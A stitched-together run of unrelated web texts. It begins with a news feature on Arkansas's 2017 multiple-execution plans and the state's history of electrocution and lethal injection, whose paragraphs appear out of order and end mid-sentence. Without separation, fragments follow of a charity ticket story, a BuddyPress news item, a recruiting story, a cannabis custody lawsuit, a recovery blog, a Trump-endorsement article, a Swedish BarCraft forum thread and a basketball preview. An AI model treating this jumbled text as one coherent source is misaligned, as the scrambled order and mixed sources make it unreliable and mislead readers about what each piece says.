This was the death penalty at its peak in the United States — it has been declining ever since. Arkansas has not executed anyone since 2005, and much has changed in meantime. While the U.S. Supreme Court has twice upheld lethal injection in the past ten years, a slew of botched executions across the country have shown it to be inherently unreliable — no matter what drugs are used. In 2014, Oklahoma made international headlines after the horrifying execution of Clayton Lockett ; executioners had failed to properly insert the IV lines. In an open letter last month, a group of former prison officials reminded Governor Hutchison that a second man had been scheduled to die that same night using midazolam, before things went so horribly wrong. “We believe that performing so many executions in so little time will impose extraordinary and unnecessary stress and trauma on the staff responsible with carrying out the executions,” they wrote.
The Nixons were not alone in seeking to halt the triple execution. The ACLU decried “the horrifying and barbaric spectacle of Arkansas’ ‘final solution’ to crime.” The NAACP Legal Defense Fund called it “disturbingly paradigmatic of an era when African-Americans were too often the victims of mass lynchings.” Protests were held, and vigils organized at the governor’s mansion. Nevertheless, Governor Tucker denied clemency. Within a span of two and a half hours on the night of August 3, 1994, Richley, Clines, and Holmes were killed by lethal injection at the Cummins Unit, less than 80 miles southeast of Little Rock. Arkansas carried out another triple execution in 1997, under Governor Mike Huckabee.
Clinton restarted executions in 1990, ending a 26-year stretch without any deaths in the Arkansas death chamber. A bloody era followed. In January 1994, the state executed two men in a single night — a first in the country’s so-called “modern” death penalty period. A few months later, Nixon and her husband sent a letter to Gov. Jim Guy Tucker, with another urgent appeal. “Once again we are writing to you to request that you grant clemency to persons on Arkansas’ Death Row,” they wrote in July 1994. “The situation this time is even more extraordinary than the last.” The double execution had been “gruesome enough,” they continued. “This time, three are scheduled to die and all for one crime. What kind of justice requires three deaths? Please do not let Arkansas become another ‘Killing Field.’ Grant clemency to Darryl Richley, Hoyt Clines and James Holmes.”
Part of this history can be found at the Arkansas Studies Institute in downtown Little Rock, a modern renovation of two historic buildings on President Clinton Avenue. The vast collection includes boxes of old materials belonging to the Arkansas Coalition to Abolish the Death Penalty : decades of prison mail, meeting minutes, and a handful of correspondence with Hutchinson’s predecessors. In one letter, from 1989, Governor Bill Clinton responds to a prominent activist and longtime friend Freddie Nixon, who had urged him to intervene on behalf of a black man on death row named Barry Lee Fairchild, whom many believed to be innocent. “As you know our positions differ,” Clinton wrote back, “and I ask that you respect the prayer and deliberation on which mine is based.”
If Arkansas officials now find themselves in uncharted waters, they are also reviving an old local tradition. It was not so long ago that prisoners were once executed two and three at a time, using techniques believed to be humane, even cutting edge, despite signs to the contrary. As in other death penalty states, generations of politicians in Arkansas have passed law after law mandating experimental new killing tools hastily borrowed from other states, while tasking others to implement them. Governors have ignored red flags, insisting they are bound by law to set execution dates, regardless of circumstance, then discovered things don’t go according to plan.
The sudden rush to execute stems from a practical dilemma: Arkansas’s supply of midazolam is set to expire at the end of the month. If the governor lets that happen, officials will have to find a new supply of drugs for lethal injection, an increasingly challenging task that has kept executions on hold for years. In the years since the state’s last execution, officials seem to be getting rusty, even when it comes to basic PR. Facing a shortage of necessary witnesses for its upcoming executions, Department of Corrections Director Wendy Kelly asked startled members of a Little Rock rotary club last month if anyone would be willing to attend the executions. “It quickly became obvious that she was not kidding,” one man said.
If there are risks to this plan, Arkansas Governor Asa Hutchinson has wasted little time contemplating them. Three nights after the double execution, Ledell Lee and Stacey Johnson are scheduled to die the same way, on April 20, followed by another two men, Marcel Williams and Jack Jones Jr., on April 24. Finally, if all goes according to plan, Kenneth Williams will be executed on the 27th. An eighth man, Jason McGehee, was supposed to die with him, but this week he was granted a reprieve. As it now stands, seven men will die in the Arkansas death house this month, over the course of 11 days.
On April 17, the state of Arkansas plans to kill Don Davis and Bruce Earl Ward, two men who have been on death row since the early 1990s. Neither has applied for clemency. Both will die on the same gurney, back to back, if all goes according to plan. Executioners will start by injecting them with a sedative called midazolam, never before used by the state, but which is supposed to render them unconscious for the two lethal drugs to follow. No one, apart from a handful of officials, knows where the drugs will come from, or who exactly will do the injecting. Those are secrets under the law. Most importantly, no one knows how well the midazolam will work, if it works at all. After nearly 12 years without a single execution, Arkansas is embarking on a kind of human experiment.
Newspapers decried the spectacle. The Democrat’s editorial page called it a “horrible and revolting disgrace on the state of Arkansas,” calling for experts to carry out executions, and exhorting the governor to ensure that “there are no repetitions of this horrible human butchery.” Yet less than a year later, Arkansas carried out a quadruple execution, only to realize as officials prepared to bury the four men, that one of them was still alive. This time, the press was a bit more matter-of-fact. “He was taken from the coffin and again placed in the electric chair,” according to one report.
Despite such ghoulish mishaps, the electric chair prevailed for decades as the country’s preferred execution method, seen as reliable if used responsibly. Arkansas went on to kill 168 people in the chair, sometimes four in the same day. Courts provided legal legitimacy. In 1947, the U.S. Supreme Court considered the gruesome execution of a black teenager named Willie Francis in Louisiana, who had been removed from the electric chair after repeated unsuccessful attempts to kill him, then sent back a few days later to die. A majority found no violation of the 8th amendment prohibition on cruel and unusual punishment, calling the execution an “innocent misadventure.”
In Arkansas, the notion that the electric chair was mostly humane survived well into the 1990s. After the U.S. Supreme Court brought back the death penalty in Gregg v. Georgia in 1976, state officials hired an electrical engineer named Jay Wiechert to build a new and improved electric chair. “Of course, I didn’t know anything about how to do it at the time,” Wiechert later told the Arkansas Times, adding that he found the challenge “interesting.” A new death chamber was constructed from scratch, and a generator had to be installed at the prison, after the Arkansas Power & Light Company said it would prefer not to provide energy for electrocutions. After Bill Clinton set the execution date for John Edward Swindler in 1990, the Arkansas Democrat sought to reacquaint readers with the technology, quoting a university professor who said its effects would be “like going to sleep.”
Convicted before Arkansas officially adopted lethal injection, Swindler was given the choice between electrocution and the gurney. He refused to choose, and was electrocuted. It was the first and last time the state used Wiechert’s electric chair. The next man to die chose lethal injection.
Wiechert died last year, an obscure figure despite an auspicious legacy: the man whose ad hoc electric chair design was replicated from Ohio to Tennessee. In his last published interview, Wiechert recalled how he came to modernize the electric chair.
“Back in the ’70s, the state of Arkansas couldn’t find anybody to build an electric chair,” Wiechert said — a state of affairs with parallels to the difficulty states have obtaining the lethal injection cocktail these days. “They called me and I said, ‘Yeah! I’ll build you an electric chair. How difficult can that be?’ In my business, the hard part is not electrocuting somebody! Killing somebody is a piece of cake.”
Armin Walser, the chemist whose team invented midazolam while working for Hoffmann-La Roche in the 1970s, at home in Tucson, Ariz., on March 9, 2017. Photo: Caitlin O’Hara/New York Times/Redux
“Clinical Death”
If lethal injection was supposed to launch executions into the modern age, in reality it was a similarly slapdash invention. Fordham law professor Deborah Denno, the foremost legal expert on the subject, has written extensively about its origins at the hands of Oklahoma medical examiner Jay Chapman, whose concoction spread swiftly despite old warnings against using lethal injection to carry out executions. Government-led commissions in the U.S. and UK had studied and rejected the method, over concerns that it could not be performed efficiently or painlessly. Yet politicians ignored these concerns, emphasizing that lethal injection “appeared more humane and visually palatable relative to other methods,” as Denno wrote in a 2007 article for the Fordham Law Review.
That the protocol be “visually palatable” was key. The Oklahoma state senator who first pushed lethal injection in the 1970s found electrocutions gruesome, telling the Tulsa World they were “kind of a combination of Barnum & Bailey and reform.” Showing graphic post-electrocution photos to fellow lawmakers, he unsuccessfully sought the help of his own physician, who was the head of the Oklahoma Medical Association, then turned to Chapman, asking if he might design a lethal injection formula. As Denno recounts, Chapman admitted he did not know much about how to kill people, although he had examined plenty of homicide victims. “To hell with them,” he said about members of the medical community who might disapprove. “Let’s do this.”
How to implement Chapman’s “three-drug cocktail” would be a matter largely decided by Texas Department of Corrections director W.J. Estelle, whose state was the first to adopt lethal injection. One AP report described how Estelle decided prisoners should be strapped down on a hospital gurney, rather than the old electric chair. (A prison chaplain who had seen 14 electrocutions wanted them “carried out in a nice clean room, something that doesn’t look like a prison.”) Guided by “unnamed consultants,” Estelle was also given the choice of three different drugs to kick off the three-drug protocol — one was a “muscle relaxant,” another a “contact poison.” Estelle chose sodium thiopental, a fast-acting barbiturate used for general anesthesia. A prison spokesman said death would come “within minutes.”
A 40-year-old man named Charlie Brooks Jr. was the first to die by lethal injection. One media witness described how he “gasped and wheezed,” but no one seemed to make much of it. The Texas model was replicated across the country: the first drug (generally sodium thiopental) anesthetized the prisoner. The second (pancuronium bromide) caused paralysis, including of the muscles used for respiration. And the third (potassium chloride) stopped the heart. The second drug was mostly cosmetic; Chapman had included it to conceal the effects of the fatal doses on bodies of the condemned. But it also introduced a fatal flaw that went undiscussed among prison officials, who had no grasp of the properties of the drugs they were administering: If the anesthetic didn’t work as intended, its effect was to suffocate the person on the gurney; once the third drug kicked in, the third drug would induce a heart attack. In all, the experience would be agonizing – yet the paralytic would prevent him or her from signaling their suffering.
It took Arkansas several years to implement lethal injection. In 1970, four years after the state’s last execution, Governor Winthrop Rockefeller had commuted the death sentences of all 15 men on death row. But by 1977, Arkansas lawmakers hoped to start killing again. Officials approved $75,000 to build a new execution chamber, designed to accommodate both electrocution and lethal injection, or “clinical death,” as some put it. It would be built by prisoners.
The Arkansas Coalition Against the Death Penalty explored a lawsuit to block the project, in part by arguing that the use of convict labor was unconstitutional, but were dissuaded by attorneys, who said it would be costly, and sure to fail. Even if a willing plaintiff were found, “prisoners under sentence can be required to work,” one lawyer wrote. Besides, those constructing the death chamber “are receiving benefit in the form of good time off of their sentence at a rate of one day off for each day served.”
In 1979, Thomas Carpenter of the Arkansas ACLU urged abolitionists to fight the new method, even if it seemed more humane. “At first blush it may seem that this is good legislation in that if the death penalty is to exist in this state, then the least barbarous method should be used,” he wrote. “However, if the horror of killing people is removed in this method, it will become much easier for most people to be complacent about killing people.”
Photo: Danny Johnston/AP
“I’m Getting Dizzy”
In 1990, a week after Bill Clinton presided over the execution of John Edward Swindler in the electric chair, Ronald Gene Simmons became the first person in Arkansas to die by lethal injection. A serial killer who murdered 16 people — including more than a dozen members of his own family — Simmons was no poster child for abolition. But anti-death penalty activists protested, making arguments that remain familiar today. “Jeff Rosenzweig, a Little Rock lawyer who represents numerous death row inmates … said the death penalty is applied unfairly,” the Gazette reported prior to the Simmons execution, citing problems of racial bias, poverty, and poor lawyering.
The Simmons execution did not go well. In a 2006 lawsuit invoking the state’s history of botched executions, witness accounts describe how he appeared to “nod off” in the first couple minutes of his execution, but he then cried out “Oh! Oh! and began to cough sporadically as though he might have difficulty breathing.” The gurney shook as Simmons coughed and heaved, according to witnesses. He then became still, “after which his face and arm turned first blue and then purple.”
The next execution was worse. In 1992, Bill Clinton famously returned to Arkansas during his campaign for president to preside over the death of Ricky Ray Rector, a black man who was lobotomized after he shot himself in the head after killing of a police officer. Rector was severely brain damaged; The New Yorker would later recount how after eating his last meal of steak and fried chicken, “he carefully set aside his helping of pecan pie,” planning to finish it after his execution. Rosenzweig was among the witnesses that night. “It was obviously very political,” he said about Clinton’s decision to fly back to Little Rock. “He didn’t have to set the execution date then. But he did. And then, obviously, in the middle of the campaign he wasn’t going to back off. But Rector was clearly not competent, in my opinion.”
Rosenzweig recalled how staff struggled to inject Rector, due to his size and “all the Dilantin he was on,” referring to Rector’s antipsychotic medication. Rector moaned as prison staff were unable to find a suitable vein, puncturing his skin over and over again as the medical director looked on. Once Rector finally appeared to be unconscious, one witness heard him say, “I’m getting dizzy,” after which he appeared to draw rapid “shallow breaths,” according to the 2006 lawsuit.
Rosenzweig has seen five men die by lethal injection. Despite the obvious problems with Rector’s execution, the method remained mostly uncontroversial. “We didn’t understand the extent of the problem,” he says. But like many death penalty lawyers, Rosenzweig eventually realized that even when an IV was perfectly placed, it did not guarantee the drugs would work as planned. “They were using a substance which was understood at the time — sodium thiopental — to cause you to be insensate to pain. Whether it did or not, at least that was the understanding.” But soon witnesses would report seeing sounds and movement from the gurney that were not supposed to occur.
In 2005, The Lancet medical journal published a landmark research letter that confirmed what many feared: lethal injection was not working the way people thought. The authors had obtained records from Texas and Virginia — highly active death penalty states — and found that “executioners had no anesthesia training, drugs were administered remotely with no monitoring for anesthesia.” More alarming, “toxicology reports from Arizona, Georgia, North Carolina, and South Carolina showed that post-mortem concentrations of [sodium thiopental] in the blood were lower than that required for surgery in 43 of 49 executed inmates (88%); 21 (43%) inmates had concentrations consistent with awareness.” The conclusion was grim. “Without anesthesia, the condemned person would experience asphyxiation, a severe burning sensation, massive muscle cramping, and finally cardiac arrest.” The next year, California tried to assign medical monitors for the execution of Michael Morales |
felt that I needed to help somehow,” Morse said. “I wanted to do something.”
After contacting the Lions, Morse purchased the season tickets and decided to donate them to a different charity each week. He also wanted to let Graham know his plan to help.
“I wanted to reach out to Stacey and tell her what we were doing,” Morse said. “Let her know the tickets would go to a good cause and that out of all this bad stuff, some good can come out as well.”
Stacey Graham was overwhelmed by his act of kindness.
“Tears of joy, tears of joy when I found out he purchased the tickets, and is giving them away to charity,” Graham said.
Graham contacted Morse to thank him for his kind actions and invite him to her tailgate. The two fans connected before the game to share team spirit and positivity. They were thrilled to see something so hurtful and negative become something so good.
“This is incredible,” Graham said. “You can give back love, and tolerance is really what it is really all about. So I probably will never get an apology, but this is awesome.”
This week Morse will be donating the tickets to Alternative for Girls, a nonprofit organization that empowers homeless and high-risk girls to avoid teen pregnancy, violence and exploitation.With the release of BuddyPress 2.5 beta comes a bunch of new features like emoji support and a brand new e-mail API.
This news comes straight from the BuddyPress dev team’s support ticket which explains e-mails will be considered a new post type by default. Users have access to this new API which allows for custom layouts and content designs for BuddyPress-generated messages.
Although BP 2.5 is still in beta, this feature is expected to be polished and ready for the public release.
Here’s a brief rundown of expected features accompanied with this new API:
Maybe token variables in e-mail templates to replace content dynamically
Taxonomies organize different types of e-mails(ex: new user signup vs. new profile activity)
Store each e-mail in HTML locally for those who want to view content in a browser
New HTML e-mail templates with a template hierarchy(in progress)
All e-mails can be sent locally with the use of wp_mail()
Although the e-mail API ticket was opened six months ago, it was just recently closed with expected updates.
It seems like this improvement would allow site owners to control, design, and write content for their e-mails without much knowledge of backend development. It would be a major stepping stone for BuddyPress as a premiere open source social networking platform.
According to WP Tavern we should expect to see the full 2.5 release somewhere in early March. The BP team also has a development roadmap which affirms that BP v2.5 is over 95% complete.
As of now the current due date is March 2nd, 2016 but may be subject to change.
To keep up with the latest news you can follow BuddyPress’ official blog, managed by the BuddyPress dev team.Levi Jones, the No. 11 ranked outside linebacker committed to USC this morning, but not without trolling both the University of Florida and Florida State University.
The 6’2″ player filled with 215lbs of jokes stood up on the signing day stage and took off a black zip-up hoodie to reveal a University of Florida Gators shirt. The crowd began to clap, but Jones was just getting started. He stripped himself of the Gators apparel to reveal a Florida State University Seminoles T-shirt underneath. But Jones was not there to attend FSU – he was there to FSU (F*&k S#$t up).
In the finale of his stunt, Jones pulled the Seminoles shirt over is head to uncover a USC Trojans shirt. The strip tease concluded when he reached for a USC hat, placed it firmly on his head, and gestured a “Fight On.”
Levi Jones commits to Florida! Wait….Florida State! Wait… USC! Jones is a Trojan. #SigningDay pic.twitter.com/RF9dtIWYnO — ESPNU (@ESPNU) February 1, 2017
Jones will enter the team beside returning outside linebacker starters, Uchenna Nwosu and Porter Gustin. Although he will have to fight for a starting spot on the squad, Jones already secured his spot as the new “team clown.”
Welcome to the Trojan Family, Levi.
Levi Jones out here like… pic.twitter.com/JooI6sj5Kb — Thomas Goldkamp (@ThomasGoldkamp) February 1, 2017
@lonczak_Shona Banda’s Lawyers File Federal Civil Rights Lawsuit Against State of Kansas
Attorneys representing cannabis oil activist and Crohn’s disease patient Shona Banda have filed a federal lawsuit against the State of Kansas alleging that Banda’s civil rights were violated when her 11-year-old son was taken into state custody after he spoke out about his mother’s successful medical marijuana therapy during a public school anti-drug presentation.
By Barry Donegan
Truth in Media
Excerpts:
Attorneys Sarah Swain and Matthew Pappas have filed a federal civil rights lawsuit against the State of Kansas and its Department for Children and Families on behalf of cannabis oil activist and Crohn’s disease patient Shona Banda, whose 11-year-old son was taken by authorities in April of this year after he spoke out about his mother’s successful medical marijuana treatment during a public school anti-drug presentation. After Banda’s son was seized by the state, Garden City, KS police raided her home on the basis of an unauthorized interrogation of her son, allegedly finding cannabis oil constituents and paraphernalia used to make it, and charged her with 5 criminal charges. Banda faces over 30 years in prison if convicted.
Authorities claim that DCF seized Banda’s son because evidence related to her alleged use and manufacture of cannabis oil was found within reach of her child. Banda’s legal team will reportedly argue that her use of cannabis was medicinal in nature and that the substance is less toxic than other legal household items and medications. In his interview with The Garden City Telegram, Pappas cited prior case law that upheld a parent’s right to custody of a child as fundamental under the Civil Rights Act of 1871.
“There’s a fundamental right in our country that if you’re doing something that is to help a condition you suffer from, and that’s the purpose of what you’re doing, then it would be inappropriate [to seize a parent’s child over the substance], unless there is an extremely important interest and a narrowly-tailored law. It would be necessary to have that situation before you would ever take a child out of somebody’s custody,” said Pappas in an interview with The Garden City Telegram. He continued, “In Kansas the issue comes down to whether or not there is a justification that the law prohibiting marijuana is narrowly tailored given the fact that she’s using it to alleviate serious pain and symptoms related to Crohn’s disease and not to get high.”
Read the Full Story at Truth in MediaI need to admit something, the first 30 days of recovery kinda sucked; well, it REALLY, REALLY sucked.
I couldn’t complain about my physical self because I felt awesome. Being able to clear away years of toxic debris from my system and being able to eat healthy certainly made me feel I could run a marathon, climb a mountain, or beat 29 other guys in an over-the-top rope Royal Rumble.
My mental state, however, was another matter.
I was a wreck in my mind and my grey matter was like a sloppy pile of emotional goulash. I was different, but my neighborhood was the same, my friends were the same, my town and world were the same. I was a raw walking nerve experiencing a white knuckle rollercoaster ride trying to live day to day.
I hated it and my thought bubble was full of bleeps, symbols and fuck-its. Then I remembered something….
I GOT THIS (AND SO DO YOU!!)
If you are reading this, maybe you are new to recovery and can relate to the picture painted above. You might feel like you are hammering a square peg into a round hole and bashing your head against a wall, but like they said around the tables “this too shall pass.” It takes time for you to adjust to a life of recovery and you are going to feel scattered, angry and on edge.
No matter what, you gotta keep pushing. Allowing these feelings and thoughts to build up and collect interest can eventually lead you back to the drinking and drugging madness that made your life a mess in the first place.
In order to make it through the first 30 days of recovery, you need some important tools to help you through the peaks and valleys. Check out the following tips and suggestions to get your own ideas flowing.
Get People In Your Support Group
Support is everything in recovery. Whether is it your peeps in your 12-step group, family members or supportive friends, you need to get them in your corner. These people can motivate you to keep going and prop you up when the stinkin’ thinkin’ starts rearing its ugly head.
Get phone numbers, pop by for a visit and make it a point to reach out to them even just to say hi. That contact and support makes a big difference. When other people who care about you know what is going on in your life, the journey won’t feel so lonely.
Write It Out – Self Reflection Is Helpful
Get hip to journaling. It is a great way to vent frustrations. When the feelings arise, grab a notebook and pen and go to town. Write what’s on your mind and don’t censor it; the goal is to let out all of your negative juju until you start feeling some positivity flowing. Spit out some poetry or a rhyme, doodle, create a cartoon – whatever you need to let the steam loose. Once you are done, keep it in your notebook, post it on your refrigerator or frame it and hang it on the wall.
Get Physical – Feel The Buuuurnn
Exercise is awesome. It whips your muscles into shape, gets your cardio fine tuned and it releases those beautiful endorphins that give you the genuine warm fuzzies. The great thing about exercise is that it really doesn’t have to cost you any money. Sure, you can get a gym membership, but simply going for a nice 30 minute walk each day gives the same benefit. Additionally, exercise can be social and helps you get out of yourself. Grab a few buds for a pickup basketball game, grab a friend and do yoga or go play tennis…the sky’s the limit.
Focus on the Now
Dwelling on the past will do you no good. What’s done is done and the only thing you can control is what you are doing right now. What can do you this very moment? Be in the present moment and focus your energies on creating good things within that moment.
Meditation is a great way to train your brain to focus on the now and you don’t have to wear robes and twist your body into weird positions to do it. Find a quiet spot with no distractions and give yourself fifteen minutes daily to just focus on your breath and your being.
Rationalizing is the Devil
No matter how little or long you have in recovery, addiction has a way of making us rationalize and justify past behavior as being acceptable. If you start having thoughts like “hey, I have a month clean…what’s one drink?” or “you know, I can handle it” your addict ego is knocking at the door and it ain’t the Girl Scouts selling cookies.
When thoughts like that arise, it is important to remember the negative consequences of your use and play that in a loop. Romanticizing your addict past in dangerous and a slippery slope back into the land of relapse.
You Gotta Fake It Until You Make It
Image source via huffington post
Getting through the first month of recovery can be hard, but using the tips above and finding your own ways to beat back the nasties of addictive thought can get you through those trying times. Your recovery is what you want it to be. Be your own Bob Ross and paint your own happy trees and fluffy white clouds. In order to paint your recover masterpiece you need tools and if those tools don’t work find some other tools that will work. When the going gets tough, remember this:
“It works if you work it, so work it cause you’re worth it.“Former Virginia Gov. Jim Gilmore (R) on Thursday said he would chair voter-registration efforts for Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE’s presidential campaign in the commonwealth.
“I will vote for Donald Trump,” he told host Liz Claman on Fox Business Network’s “Countdown to Closing Bell." "As a matter of fact, in Virginia I’ve been asked to chair the registration get-out-the-vote effort. I’ll be doing that.
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“I am very well aware of what a Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE presidency would be like. We don’t want that. We’ve got to win the election and prevent Hillary Clinton from becoming president.”
Gilmore said Virginia is in-play for Trump, GOP’s presumptive presidential nominee, despite going blue for President Obama in 2008 and 2012.
“Virginia is a state now that doesn’t automatically go either Republican or Democrat,” he said. "It’s a very sophisticated state.
“You’ve got to make the case,” added Gilmore, who suspended his GOP Oval Office bid in February. "That’s why I ran for president, in order to move the country in the right direction. The Democratic Party will not do that. Hillary Clinton will not do that. The big picture direction for the country is absolutely vital.”
Gilmore added that the “Never Trump” movement must cease its attempts at keeping the billionaire from the Republican presidential mantle and challenging Clinton, the Democratic presidential front-runner.
“I’ve heard all this stuff about how conservatives ought not to be supporting Trump and that kind of thing,” he said. "I’m in the conservative movement. It’s time to rally to the candidate. The time has come to unify the party and carry the country for Republicans.
“The conservatives had their chance to find their candidate. They scattered their votes around people who probably shouldn’t have gotten them in the first place. They’re partially responsible for this situation."Daudr Profile Joined November 2009 Sweden 273 Posts #1 Before I go into any more detail I'd just like to make it clear that I am in no way, shape or form involved in the organizing of this event. I am just one of many attending and I couldn't find any other info about this here on TL.
It is being held at "Kårhuset Origo" which is a student pub located near Umeå University and "IKSU". You do NOT have to be a student to attend though.
Date: Sunday 23/10
Doors open: 16.30 (Finals start at 17.00)
Alcohol will be served starting: 17.00
Age restriction: 18
Entry: Free
Taken from the Facebook event:
+ Show Spoiler +
Vi kommer att visa finalen i StarCraft 2 från ESWC i Paris där vi förhoppningsvis kommer se någon av våra svenska spelare. Jeffrey 'SjoW' Brusi, Hayder 'Liquid`HayprO' Hussein, Marcus 'ThorZaIN' Eklöf, Jesper 'Bischu' Johansson och Tim 'dignitas\merz' Olsson (som för övrigt studerar på Umeå Universitet!) kommer att delta i turneringen. Andra kända spelare som EGIdrA, oGsMC, MarineKingPrime och MillStephano kommer också att slåss om förstapriset på $26 000.
Finalen spelas på söndag, 17:00 till ~18:00. Vi öppnar Origo 16:30, men notera att vi INTE serverar alkohol förrän 17:00!
Vi hoppas att alla ni StarCraft-fans som vanligtvis sitter hemma och glor på streamen istället kommer till Origo och glor på streamen med oss andra! Välkomna!
För dig som inte vet vad BarCraft är, så kan man sammafatta det enkelt: "... ett event där folk samlas och dricker öl och tittar på E-Sports."
Hela programmet för ESWC finner du här:
ESWC i Paris
www.eswc.com
LANbyCS
www.lanbycs.se
http://www.facebook.com/event.php?eid=290873904274498
Kårhuset Origo anordnar, i sammarbete med LANbyCS, för första gången BarCraft söndagen 23/10!Vi kommer att visa finalen i StarCraft 2 från ESWC i Paris där vi förhoppningsvis kommer se någon av våra svenska spelare. Jeffrey 'SjoW' Brusi, Hayder 'Liquid`HayprO' Hussein, Marcus 'ThorZaIN' Eklöf, Jesper 'Bischu' Johansson och Tim 'dignitas\merz' Olsson (som för övrigt studerar på Umeå Universitet!) kommer att delta i turneringen. Andra kända spelare som EGIdrA, oGsMC, MarineKingPrime och MillStephano kommer också att slåss om förstapriset på $26 000.Finalen spelas på söndag, 17:00 till ~18:00. Vi öppnar Origo 16:30, men notera att vi INTE serverar alkohol förrän 17:00!Vi hoppas att alla ni StarCraft-fans som vanligtvis sitter hemma och glor på streamen istället kommer till Origo och glor på streamen med oss andra! Välkomna!För dig som inte vet vad BarCraft är, så kan man sammafatta det enkelt: "... ett event där folk samlas och dricker öl och tittar på E-Sports."Hela programmet för ESWC finner du här: http://www.eswc.com/public/pdf/stage-programme-eswc.pdf ESWC i ParisLANbyCS
Hope to see you there! It is being held at "Kårhuset Origo" which is a student pub located near Umeå University and "IKSU". You dohave to be a student to attend though.Date: Sunday 23/10Doors open: 16.30 (Finals start at 17.00)Alcohol will be served starting: 17.00Age restriction: 18Entry: FreeHope to see you there! ☜(ﾟヮﾟ☜)
Roberi Profile Joined March 2011 Sweden 347 Posts #2 Great, I'll be there for sure! Posted this in the Barcraft Sweden thread, but it looks quite dead. There is already 94 attending on facebook, so we should have a really good crowd! A fan of ThorZaIN, MorroW, NaNiwa and SaSe. Sweden Fighting! /// @rob_eri
tjosan Profile Joined January 2010 Sweden 120 Posts #3 Awesome! I'll be there if I can
Daudr Profile Joined November 2009 Sweden 273 Posts #4 Yeah, it'll be an amazing event for sure! Super exciting to see so many attending! ☜(ﾟヮﾟ☜)
Vildhjarta Profile Joined September 2011 Sweden 122 Posts #5 Wish i could be there :< No man has ever been entirely and completely himself. Yet each one strives to become that, one in an awkward, the other in a more intelligent way, each as best he can. - Hermann Hesse, Demian
locran Profile Joined October 2011 Sweden 3 Posts #6 I'll be there! Will bring a bunch of friends aswell.
Jalle Profile Joined July 2008 Sweden 137 Posts #7 I unfortunately had to leave a bit early, but really had a great time. Looking forward to similar events in the future <3
Cuddle Profile Joined May 2010 Sweden 971 Posts #8 Crap, I cant believe I missed this! :/
Wihl Profile Blog Joined June 2010 Sweden 469 Posts #9 How many people showed up for this? I couldn't go but I'd love to go next time... if there is a next time.
Daudr Profile Joined November 2009 Sweden 273 Posts #10 On November 04 2011 20:46 Wihl wrote:
How many people showed up for this? I couldn't go but I'd love to go next time... if there is a next time.
I would say at least 50~ish? May have been more, hard to tell. It was pretty packed though, most chairs and sofas were taken.
From what I gathered at the event, it's very much possible that it may happen again. The guys in charge are pretty awesome, they hold a pretty big weekend-LAN every semester, on Campus. The latest one had prizes valued at an estimated amount of 14k~ SEK (Nintendo 3DS, HTC phone and lots of other stuff) for the various tournaments that were held (incl. SC2).
Check out I would say at least 50~ish? May have been more, hard to tell. It was pretty packed though, most chairs and sofas were taken.From what I gathered at the event, it's very much possible that it may happen again. The guys in charge are pretty awesome, they hold a pretty big weekend-LAN every semester, on Campus. The latest one had prizes valued at an estimated amount of 14k~ SEK (Nintendo 3DS, HTC phone and lots of other stuff) for the various tournaments that were held (incl. SC2).Check out http://www.lanbycs.se/, and contact the guys if you are interested in more BarCrafts! And/or send a message to Kårhuset Origo, who hosted the event as well! I want to see a ton more events here in Umeå, since there's definitely a large interest to be found here! ☜(ﾟヮﾟ☜)SHARE
Duke Athletics Duke guard Grayson Allen finishes a dunk. Sean Labar HERO Sports @seanlabaracc
The 2016 college basketball season is officially upon us. Most squads took the court for the first time at the end of last week and into the weekend, but the first true slate of games won't disappoint.
With so many matchups scattered throughout the week, we want to make it easy for you. Each Sunday, we will release the top-ten televised games of the week.
Here are the best college basketball games to watch in Week 2. All times eastern.
Duke
vs.
Kansas Tuesday: 9:30 PM, ESPN
The college hoops schedule makers know exactly what they are doing. After a a full weekend of college and NFL games, they set up a fantastic double header early in the NCAA basketball season. In the second game of the Champions Classic at Madison Square Garden, No. 1 Duke is tested early. The Blue Devils soared past their first two overmatched opponents, and this will be the first time we get a true sense of just how good this year's Duke squad can be.
Let's not forget about Kansas. Though the Jayhawks have just one Final Four appearance since winning the title in 2008, they have a high-profile back court with Frank Mason and Devonte' Graham and a stud freshman in Josh Jackson. There's no doubt this is the No. 1 can't miss game of the week.
Kentucky
@
Michigan State Tuesday: 7 PM, ESPN
In the first premiere matchup in New York, No. 2 Kentucky is built to go the distance after coming off an unexpected early departure in the second round of last year's NCAA tournament. It's hard to think of anyone having a better outing than Kentucky guard Jamal Murray last season, but his replacement, Malik Monk, looks like he could be the next huge superstar to come from John Calipari's system.
Unlike the Wildcats, No. 12 Michigan State didn't have a cupcake opponent to open the year. Sparty barely fell to No.10 Arizona 65-63, and will be searching for redemption on a national stage. This is clearly the top game of the week.
Villanova
@
Purdue Monday: 7 PM, BTN
Fresh off the dramatic national title victory in 2015, No. 4 Villanova will get its first true test of the 2016 campaign against a solid No. 15 Purdue squad. We all know how difficult a repeat is in any sport, but if the Wildcats are going to make another magical run, it will be behind potential Player of the Year candidate, Josh Hart.
Purdue isn't a team many people are talking about, but the Boilermakers are fully deserving of their high ranking. Purdue's two leading scorers from a season ago (Vince Edwards and Caleb Swanigan), both declared for the NBA Draft and were well on their way to the next level after hiring agents. But Edwards made the decision to return, and his teammate quickly followed. With the guard/forward duo back, Purdue is clearly a contender in the Big Ten. This should be a good one.
Wisconsin
@
Creighton Tuesday: 8:30 PM, FS1
With the two huge games on Tuesday night, this one could get lost in the shuffle, but it shouldn't. No. 9 Wisconsin looks like the favorite in the Big Ten, led by one of the nation's top defenses while returning all of its starters from a season ago. No. 22 Creighton will look a bit different without Doug McDermott, but there are high expectations from a backcourt led by senior Maurice Watson Jr. and junior Marcus Foster, a new addition from Kansas State. These teams seem evenly matched but it's too early to make any lofty predictions. Let's wait and see on Tuesday.
Oregon
@
Baylor Tuesday: 3:30 PM, ESPN 2
We have already highlighted the incredible night games on Tuesday night, but why wait that long to check out some great hoops games? Get out of the office early and check out No. 5 Oregon take on a good Baylor squad. Both wings Dillon Brooks and Tyler Dorsey opted to skip the NBA Draft and return to school, which is the man reason the Ducks should make a significant run this season.
Baylor looks like it has strong guard play with Manu Lecomte leading the charge, but it will still have a struggle in the talented Big-12. This isn't a bad team though, and the Bears are more than capable of putting up a fight against Oregon.
Maryland
@
Georgetown Tuesday: 6:30 PM, FS1
